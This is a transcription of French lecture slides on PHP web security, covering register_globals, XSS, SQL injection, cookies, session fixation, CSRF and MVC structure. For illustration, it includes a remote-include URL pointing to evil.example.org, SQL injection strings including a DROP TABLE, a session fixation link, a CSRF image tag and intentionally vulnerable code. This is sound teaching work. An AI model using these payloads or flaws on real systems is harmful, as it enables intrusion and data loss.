Sécurité des programmes PHP

Transcription

Sécurité des programmes PHP
Sécurité des programmes PHP
T. HSU
IUT de LENS, Département informatique
November 13, 2012
T. HSU
Sécurité des programmes PHP
Part I
Introduction à PHP
T. HSU
Sécurité des programmes PHP
Fonctionnement
Page PHP
2 : Aller chercher
la page
1 : Requète PHP
MySQL
Moteur
PHP
4 : Retourner la page
HTML
Page HTML
T. HSU
Sécurité des programmes PHP
Le classique : Bonjour
bonjour.php
bonjour.html
<html>
<body>
<h1> Mon P r e m i e r S c r i p t </h1>
<$php
echo ”HELLO WORLD” ;
?>
</body>
</html>
<html>
<body>
<h1> Mon P r e m i e r S c r i p t </h1>
HELLO WORLD
</body>
</html>
Remarque
Même en local, on doit passer par le serveur WEB
Les lignes html sont générées avec la fonction echo
T. HSU
Sécurité des programmes PHP
Un autre exemple
unAutreExemple.php
<html>
<body>
<h1> Mon d e u x i e m e S c r i p t </h1>
<?php
echo ” Nous sommes l e ” . gmdate ( ”D j M Y” ) . ”<br>” ;
echo ” Je r a j o u t e deux s a u t s a l a l i g n e <br><br>” ;
echo ” e t <u>un t e x t e s o u l i g n e </u>” ;
?>
<h1>C o n t i n u o n s </h1>
Du h tm l de b a s e
</body>
</html>
T. HSU
Sécurité des programmes PHP
Part II
Fichier de configuration
T. HSU
Sécurité des programmes PHP
php.ini
Il existe un fichier pour configurer PHP (php.ini)
Il existe des fichiers de configuration recommandée :
php.ini-production, php.ini-development
(php.ini-recommended)
Quelques règles importantes
error reporting : définit le niveau désiré de signalement des
erreurs (mettre à E ALL)
display errors : détermine si les erreurs doivent être affichées
(mettre à On en développement, Off ensuite)
log errors : détermine si les erreurs doivent être sauvegardées
dans un fichier (mettre à On)
T. HSU
Sécurité des programmes PHP
Part III
Traitements des formulaires
T. HSU
Sécurité des programmes PHP
Introduction
Qui dit page web dynamique, dit possibilité au client de
choisir la valeur de certaines variables
Le langage html propose l’utilisation de formulaires afin de
collecter diverses informations
Ces informations seront ensuite envoyées à d’autres pages
html ou PHP
T. HSU
Sécurité des programmes PHP
Syntaxe
les balises <form> et </form> servent à délimiter les
formulaires
Les paramètres pris par le tag <form> sont
action : fixe le nom du document qui sera appelé lors de la
soumission du formulaire
method : détermine la méthode de passage des paramètres lors
de la soumission des données
GET
POST
T. HSU
Sécurité des programmes PHP
Les Méthodes de passage
Méthode GET
Les paramètres (et les valeurs) sont passés dans l’URL du
document de la façon suivante :
document.php?param1=val1&param2=val2...
Méthode POST
Les paramères sont passés sous le même format mais ils sont
passés dans le corps de la requête HTTP
Ils sont invisibles
sur la ligne de commande
sur le log du serveur web
T. HSU
Sécurité des programmes PHP
Quelle méthode choisir ?
Dépend de ce que l’on veut faire ...
La méthode GET est inadaptée à la saisie de mots de passe
La méthode GET est inadaptée lorsque l’on veut modifier des
données d’une BD
La méthode POST impose obligatoirement une reconnexion
au serveur
C’est pourquoi, les moteurs de recherche choisissent la
méthode GET
Sur peu de jours, la base de donnée change peu d’état, deux
mêmes recherches aboutissent à peu près au même résultat
T. HSU
Sécurité des programmes PHP
La directive Register globals
Parmi les nombreuses options de php.ini, il y a
REGISTER GLOBALS
Depuis la PHP 4.2 cette directive est désactivée par défaut,
Heureusement
A quoi sert elle ? Voyons voir un exemple
T. HSU
Sécurité des programmes PHP
Exemple de Faille
faille1.php
<?php
if ( utilisateurAutorise ()) {
$ a u t o r i s a t i o n = true ;
}
if ( $autorisation ) {
i n c l u d e ’ / d o n n e e s / s e n s i b l e s / d a t a . php ’ ;
}
>
Que se passe t il si on appelle la page avec
?autorisation=true
T. HSU
Sécurité des programmes PHP
Un autre exemple
faille2.php
<?php
i n c l u d e ” $ p a t h / s c r i p t . php ” ;
?>
Que se passe t il si on appelle avec
? path=http%3A%2F%2Fevil.example.org%2F
Nécessite la directive allow url fopen activée (activée dans
php.ini-recommendended)
Faille utilisée dans divers sites web
T. HSU
Sécurité des programmes PHP
Attention
Même sans REGISTER GLOBALS on est vulnérable à ce type
d’attaque
Pensez à initialiser les variables locales !
T. HSU
Sécurité des programmes PHP
Traitement des données des formulaires
Considérez que toute donnée qui vous est fournie est
mauvaise jusqu’à ce que vous soyez sûr du contraire
Idem pour les cookies, les variables de type server
(REMOTE ADDR, HTTP REFERER...)
formulaire.php
<form a c t i o n=” t r a i t e c o u l e u r . php ” method=”POST”>
< s e l e c t name=” c o u l e u r ”>
<o p t i o n v a l u e=” r o u g e ”>r o u g e </ o p t i o n >
<o p t i o n v a l u e=” v e r t ”>v e r t </ o p t i o n >
<o p t i o n v a l u e=” b l e u ”>b l e u </ o p t i o n >
</ s e l e c t >
<i n p u t t y p e=” s u b m i t ” />
</form>
Êtes vous sur de recevoir une des 3 valeurs rouges, vert ou
bleu
NON et en plus c’est simple à mettre en oeuvre
T. HSU
Sécurité des programmes PHP
Filtrage des données
Chaque donnée extérieure (GET, POST, ....) doit etre filtrée
pour voir si elle est réellement valide
Est ce qu’il vaut mieux refuser une donnée valide que
d’accepter une donnée invalide ? (certains sites refusent les
noms comme O’machin)
La variable clean vous aide et vous rappelle que votre champ
est valide....
T. HSU
Sécurité des programmes PHP
Le Cross-site Scripting
Cette attaque ne s’adresse pas au serveur mais à l’internaute
via une faille de l’application
Comment ça ?
Que se passe t il si je mets des scripts javascripts !!! ils seront
interprétés !
Votre application est vulnérable si elle affiche des données
externes sans les filtrer au préalable
Comment se prémunir : utilisation des fonction
htmlentities, strip tags ou autre utf8 decode
L’option magic quotes gpc de php.ini : disparaitra .... dans
la version PHP6 !!
Vous devez pensez à gérer vous même cela !!
T. HSU
Sécurité des programmes PHP
Part IV
Base de données
T. HSU
Sécurité des programmes PHP
Introduction
PHP permet de dialoguer avec une base de donnée
Les connexion, requête, insertions se font via des fonctions
PHP (exemple...)
Le script de base (nommé db.php.inc)
db.php.inc
<?php
$host = ’ toto . f r ’ ;
$username = ’ myuser ’ ;
$ p a s s w o r d = ’ mypass ’ ;
$db = m y s q l i c o n n e c t ( $ h o s t , $username , $ p a s s w o r d ) ;
?>
Approche pratique mais !!!
T. HSU
Sécurité des programmes PHP
Précautions
Si vous le pouvez mettez votre fichier db.php.inc hors de la
racine Web
Sinon, demandez à apache (via .htaccess par exemple) de
rendre inaccessible les fichiers .inc
.htaccess
< F i l e s ˜ ” \ . i n c \$ ”>
O r d e r a l l o w , deny
Deny from a l l
</ F i l e s >
T. HSU
Sécurité des programmes PHP
Autre solution
Créez un fichier /chemin/vers/toto que seul root peut lire
SetEnv DB USER ”myuser”
SetEnv DB PASS ”mypass”
Incluez ce fichier dans httpd.conf :
Include /chemin/vers/toto
Vous avez maintenant accès à $ SERVER[’DB USER’] et
$ SERVER[’DB PASS’]
T. HSU
Sécurité des programmes PHP
Injections SQL
Insertion de données comprenant du code SQL
Exemples
Intrusion dans un site
Insertion d’un utilisateur mysql, psql ou autre...
Un exemple : Requête SQL
SELECT * FROM Utilisateurs Where login=’%s’ and
passwd=’%s’
peut se transformer en :
SELECT * FROM Utilisateurs Where login=’toto’ OR
1=1−−’and passwd=’%s’
ou pire encore :
SELECT * FROM Utilisateurs Where login=’toto’ OR 1=1;
drop table Utilisateurs; −−’and passwd=’%s’
T. HSU
Sécurité des programmes PHP
Précautions
Tout d’abord, évitez d’utiliser un compte ayant tous les
pouvoirs pour l’exécution de votre serveur sql si possible.
Filtrer les données
Placez les données entre apostrophes (toutes les données !!)
Utilisez des séquences d’échappement pour vos données :
fonctions mysqli real escape string() ou addslashes()
T. HSU
Sécurité des programmes PHP
mysqli real escape string
Exemple
<?php
// C o n n e x i o n
$ l i n k=m y s q l i c o n n e c t ( ’ m y s q l h o s t ’ , ’ m y s q l u s e r ’ , ’ m y s q l p a s s w d ’ )
OR d i e ( m y s q l i e r r o r ( $ l i n k ) ) ;
// R e q u e t e
$ q u e r y = s p r i n t f ( ”SELECT ∗ FROM u s e r s WHERE
u s e r =’%s ’ AND p a s s w o r d=’%s ’ ” ,
m y s q l i r e a l e s c a p e s t r i n g ( $link , $user ) ,
m y s q l i r e a l e s c a p e s t r i n g ( $ l i n k , $password ) ) ;
mysqli query ( $link , $query ) ;
?>
T. HSU
Sécurité des programmes PHP
Part V
Les cookies et les sessions
T. HSU
Sécurité des programmes PHP
Introduction
Le protocole HTTP est sans état, c’est-à-dire que le serveur ne
conserve aucun lien entre deux sollicitations d’une même source.
Comment conserver des informations sur un visiteur entre
deux clics ?
Jusqu’à la version 3
Passage des variables dans l’url
Passage caché via la méthode POST et le tag HIDDEN
Utilisation d’une base de donnée
Utilisation de cookies
Depuis la version 4 : Les sessions
T. HSU
Sécurité des programmes PHP
Introduction ... 2
Moyen de sauvegarder et de modifier des variables tout le long
de la visite d’un internaute
Sécurisation de sites, sauvegarde du panier
Les informations relatives à une session sont conservées sur le
serveur
Un identifiant de session est posté sur le client via un cookie
ou via l’url
T. HSU
Sécurité des programmes PHP
Les cookies : principe
Ils sont créés par le serveur, grâce à l’en-tête de réponse
Set-cookie
Lorsque le navigateur sollicite la page, cet en-tête est ajouté
dans la réponse.
La valeur unique d’un cookie permet au serveur d’identifier de
manière distincte un navigateur par rapport aux autres.
T. HSU
Sécurité des programmes PHP
Les cookies : fonctions
cookie de préférence : enregistrement de la configuration
d’un utilisateur (ex. choix de la langue).
cookie de session : Au démarrage d’une session PHP, elle
produit un identifiant de session unique (32 chiffres
hexadécimaux). Cet identifiant permet :
l’identification d’un navigateur
la sauvegarde des variables de session
T. HSU
Sécurité des programmes PHP
Les cookies : pourquoi les voler ?
Hypothèse : il est impossible que deux utilisateurs obtiennent
par hasard deux fois le même identifiant de session.
La sécurité des données est reportée entièrement sur le cookie
de session : la présentation d’un cookie suffit pour identifier
un utilisateur.
Le vol du cookie de session permet d’usurper l’identité d’un
utilisateur.
T. HSU
Sécurité des programmes PHP
Les cookies : la défendre
setcookie
b o o l s e t c o o k i e ( s t r i n g name [ ,
int expire
[,
s t r i n g domain
b o o l HTTPOnly
string
string
[ , bool
]]]]]]
value
[,
path
[,
secure [ ,
);
value : cryptée la valeur si nécessaire
expire : durée de vie courte (attention au décalage horaire)
path : chemin pour lequel le cookie est valable (utile dans le
cas où le site est partagé)
domain : domaine autorisé au cookie (évite de transférer le
cookie à tous)
secure : transmission sécurisée (true)
HTTPOnly : Utilisable entre serveur et navigateur
uniquement (php 5.2)
T. HSU
Sécurité des programmes PHP
Les cookies : pour la sécurité (1)
Un cookie peut être utilisé pour bannir un utilisateur indésirable.
mise en place du cookie
<?php
S e t c o o k i e ( ’ PHPSESSID ’ , md5( microtime ( ) ) ,
time +24∗3600 , ’ / ’ , ’ . m e s i t e s . com ’ ) ;
?>
contrôle d’accès
<?php
I f ( i s s e t ( $ COOKIE [ ’ PHPSESSID ’ ] ) ) {
header ( ”HTTP/ 1 . 0 404 Not Found ” ) ;
die ( ) ;
}
?>
T. HSU
Sécurité des programmes PHP
Les cookies : pour la sécurité (2)
On veut s’assurer qu’un utilisateur est bien passé par un formulaire
donné avant de lui afficher une autre page.
formulaire.php
<php
S e t c o o k i e ( ’ form ’ ,
md5( ’ p r e f i x e ’ . $ SERVER [ ’REMOTE ADDR ’ ] ) ,
t i m e +24∗3600 , ’ / ’ , ’www . m o n s i t e . f r ’ ) ;
?>
<form a c t i o n=” a c t i o n . php ” method=”POST”>
<i n p u t t y p e=” s u b m i t ” v a l u e=” s o u m i s s i o n ”>
</form>
action.php
<?php
i f ( ! i s s e t ( $ COOKIE [ ’ form ’ ] ) | |
md5( ’ p r e f i x e ’ . $ SERVER [ ’REMOTE ADDR ’ ] ) ! = $ COOKIE [ ’ form ’ ] ) ) {
s e t c o o k i e ( ’ form ’ ) ;
// e f f a c e m e n t du c o o k i e
h e a d e r ( ’ L o c a t i o n : / f o r m u l a i r e . php ’ ) ; // r e d i r e c t i o n
die ( ) ;
}
?>
T. HSU
Sécurité des programmes PHP
Création de la session
Une session doit obligatoirement démarrer avant l’envoi de
toute information chez le client (affichage, ou envoi de
header)
Une session démarre avec session start()
Un identifiant unique est alors généré
<?php
s e s s i o n s t a r t ( ) ; // Une n o u v e l l e s e s s i o n
echo session name ( ) . ”=” . s e s s i o n i d ( ) ;
?>
T. HSU
Sécurité des programmes PHP
Enregistrement des variables
Ensuite, on peut enregistrer des variables de session à l’aide du
tableau associatif $ SESSION. Elle remplace les fonctions :
session register()
session unregister()
<?php
$ l o g i n = ” UserName ” ;
....
// e n r e g i s t r e m e n t de l a v a r i a b l e s e s s i o n l o g i n
$ SESSION [ ” l o g i n ” ]= $ l o g i n ;
....
// s u p p r e s s i o n de l a v a r i b l e s e s s i o n l o g i n
u n s e t $ SESSION [ ” l o g i n ” ] ;
unset $ l o g i n ;
?>
T. HSU
Sécurité des programmes PHP
Récupération des variables
Il faut utiliser le tableau associatif : $ SESSION
<?php
....
echo ” v o u s e t e s : ” . $ SESSION [ ” l o g i n ” ] . ”<b r/>” ;
....
?>
T. HSU
Sécurité des programmes PHP
Charger une session en cours
Le transport des informations peut être réalisé de deux/trois
manières différentes
Par utilisation de cookie ou de champs caché, on appelle cela
le trans-id
Par passage de l’identifiant de session dans l’url (méthode get)
Seule l’utilisation de cookie est sûre !!
T. HSU
Sécurité des programmes PHP
Charger la session par utilisation de cookie
Il n’y a rien de particulier à faire
En fait session start fonctionne ainsi :
Si la session n’existe pas : un identifiant est créé et est
sauvegardé dans un cookie
Si un cookie de session existe, alors la session est ouverte en
utilisant comme identifiant celui stocké dans le cookie
<?php
session start ();
echo ” Vous e t e s : ” . $ SESSION [ ” l o g i n ” ] ;
....
?>
T. HSU
Sécurité des programmes PHP
Destruction
session destroy() : destruction de la session.
T. HSU
Sécurité des programmes PHP
Les problèmes de vol de session
Le but du pirate est d’obtenir un identifiant de session valide
L’objectif est de se faire passer pour quelqu’un d’autre...
3 méthodes : prédiction, capture et fixation
Prédiction : très difficile, l’identifiant est généré aléatoirement,
ce n’est pas là que se situe le point faible des applications
Capture : facile si on fait passer l’identifiant par la méthode
GET (http referer, écoute sur réseau, copier/coller d’adresses
!), plus difficile avec les cookies
Forcer l’utilisation des cookies : cf php.ini
Fixation : voyons voir
T. HSU
Sécurité des programmes PHP
Fixation de sessions
La fixation est le fait de déterminer un identifiant de session
AVANT d’utiliser l’application (on le FIXE)
Le pirate envoie l’URL http:
//www.toto.fr/index.php/login.php?PHPSESSID=1234 à
un GENTIL utilisateur
Le GENTIL utilisateur suit le lien, s’il ne possède pas de
session vers toto.fr, il l’initialise à 1234
Le GENTIL utilisateur s’identifie
Le pirate suit le lien http:
//www.toto.fr/index.php/login.php?PHPSESSID=1234
et se retrouve connecté comme étant le GENTIL utilisateur
T. HSU
Sécurité des programmes PHP
Fixation de session : un exemple
<?php
session start ();
i f ( i s s e t ( $GET [ name ’ ] ) ) $ SESSION [ name ’ ] = $ GET [ name ’ ] ;
i f ( ! i s s e t ( $ SESSION [ ’ v i s i t s ’ ] ) ) $ SESSION [ ’ v i s i t s ’ ] = 1 ;
e l s e $ SESSION [ ’ v i s i t s ’ ]++;
e c h o $ SESSION [ ’ name ’ ] . ” : Nb a c c e s a c e t t e page ” ;
e c h o ” d e p u i s l e d e b u t de s e s s i o n : ” . $ SESSION [ ’ v i s i t s ’ ] ;
?>
On ne fait pas une nouvelle visite, on continue l’ancienne
Usurpation d’identité !!
T. HSU
Sécurité des programmes PHP
Fixation de session et cookie
La fixation de session n’est pas limitée à l’utilisation du
trans-id !
Grâce à un XSS, le pirate peut initialiser un cookie avec
javascript :
document.cookie=#sessionid=1234#;
T. HSU
Sécurité des programmes PHP
Précaution contre les fixations de sessions
Vous êtes vulnérables si votre gestion de session ne consiste
en rien de plus que session start()
C’est facilement réparable
Vous pouvez prendre en compte le HTTP REFERER et le
HTTP USER AGENT même si cela n’est pas suffisant !
<?php
i f ( ! i s s e t ( $ SESSION [ ’ i n i t i a l i s e ’ ] ) ) {
s e s s i o n r e g e n e r a t e i d (TRUE ) ;
$ SESSION [ ’ i n i t i a l i s e ’ ] = t r u e ;
}
?>
A chaque étape importante (changement de mot de passe...)
regénérer le session id !
T. HSU
Sécurité des programmes PHP
Protections contre les attaques Brutes Forces !!
Une attaque brute force va tester des couples login/mots de
passes à l’aide de robots !
Protection par nombres d’attaques/jour
Protection sur une base attaque/temps
Protection par nombre attaque/compte
T. HSU
Sécurité des programmes PHP
Attaques Cross-Site Request Forgeries (CSRF) !!
Point de départ : une application plutôt bien sécurisée
Un deuxième site est complètement distinct du premier,
porteur d’une vulnérabilité XSS
Un pirate injecte l’attaque suivante dans le deuxième site dans
une image :
<img s r c=” h t t p : / /www . s i t e 1 . com/ admin / e f f a c e . php ? i d =22” />
L’administrateur visite le site 2 et charge la page avec la
vulnérabilité XSS
!!!!!
T. HSU
Sécurité des programmes PHP
Se défendre contre une (CSRF) !!
Il faut compliquer la vie des pirates et s’assurer souvent de
l’identite des utilisateurs
Préférer POST à GET
Lors de la réalisation d’une opération critique
Enchainer plusieurs pages (par exemple ajouter une page de
confirmation)
Identifier et authentifier systématique.
Mise en place d’un système d’authentification aléatoire (nb de
clics, durée, ...)
T. HSU
Sécurité des programmes PHP
Des listes pour se protéger
Liste blanche : La validation d’une donnée est basée sur une
approche de type dictionnaire : la valeur doit faire partie d’un
ensemble de valeurs possibles.
Liste noire : Le principe est de lister les valeurs interdites,
pour pouvoir les refuser dès qu’on les détecte.
Liste grise : Valider avec une liste blanche et une liste noire
T. HSU
Sécurité des programmes PHP
Part VI
Le modèle MVC
T. HSU
Sécurité des programmes PHP
Introduction
Les applications php peuvent souvent devenir de vrais foutoirs
Des pages accessibles de partout
Des accès aux bases de données de partout
C’est rapidement
non viable
difficile à maintenir
peu sûr
T. HSU
Sécurité des programmes PHP
Introduction ...
Le modèle MVC (Modèle-Vue-Contrôleur) cherche à séparer
nettement les couches présentation, traitement et accès aux
données.
Une application web respectant ce modèle sera architecturée
de la façon suivante
Interface
Logique
Source de
utilisateur
applicative
données
Une telle architecture est souvent appelée architecture 3-tiers
ou à 3 niveaux
l’interface utilisateur est la vue (V)
la logique applicative est le contrôleur (C)
les sources de données sont le modèle (M)
Le modèle MVC est bien adapté aux applications web
T. HSU
Sécurité des programmes PHP
L’architecture MVC
Client
Client
main.php
GENERATEUR DE
ACTIONS
Interface
Données
Logique Applicative
Classe d’accès
aux
données
Source des
données
Classe Metier
VUES
le programme principal ou contrôleur, qui est la porte d’entrée
de l’application
le bloc [Actions], ensemble de scripts chargés d’exécuter les
actions demandées par l’utilisateur
le bloc [Classes métier] qui regroupe les modules php
nécessaires à la logique de l’application. Ils sont indépendants
du client.
le bloc [Classes d’accès aux données] qui regroupe les modules
php qui obtiennent les données nécessaires au contrôleur
les générateurs des vues envoyées comme réponse au client.
T. HSU
Sécurité des programmes PHP
Le modèle
Le modèle peut être construit de divers manières
Une classe par table dans la base de données est un bon
exemple
L’utilisation d’un ORM (Object relationnal mapping) est
fortement conseillée : propel, phpMyObject...
Abstraction des bases de données (PHP6 ???)
T. HSU
Sécurité des programmes PHP
Le contrôleur
Le contrôleur gère plusieurs actions (saisie d’un nouvel
utilisateur, affichage du résultat d’une recherche)
C’est en quelque sorte le chef d’équipe
Il doit donc savoir quelle est l’action désirée par le client
Ceci se fait au moyen d’un paramètre
Soit par un champ hidden d’un formulaire
Soit par un champ passé dans l’url en get
On peut également utiliser l’URL rewritting (utile pour le
référencement)
Il suffit ensuite de faire un switch/case sur la variable pour
choisir l’action à appliquer
T. HSU
Sécurité des programmes PHP
La vue
Possibilité d’utiliser des moteurs de templates : smarty,
modelixe....
Dans le cas d’applications de petite taille, le générateur de vue
peut être remplacé directement inclus dans la partie
applicative
T. HSU
Sécurité des programmes PHP
frameworks MVC existants
De nombreux frameworks MVC existent déjà.
Difficile à appréhender ?
Gain de temps à court/moyen terme
Symfony, Zend, Cake, Mojavi
T. HSU
Sécurité des programmes PHP
Quelques remarques
De cette façon le seul fichier qui doit être visible est le fichier
index.php
Les autres fichiers doivent être à l’extérieur de l’application ou
inaccessible par un client web
Comment faire :
Dans le fichier de configuration de Apache (on n’y a pas tout
le temps accès)
Avec .htaccess : fichiers de configuration d’Apache,
permettant de définir des règles dans un répertoire et dans tous
ses sous-répertoires (qui n’ont pas de tel fichier à l’intérieur)
T. HSU
Sécurité des programmes PHP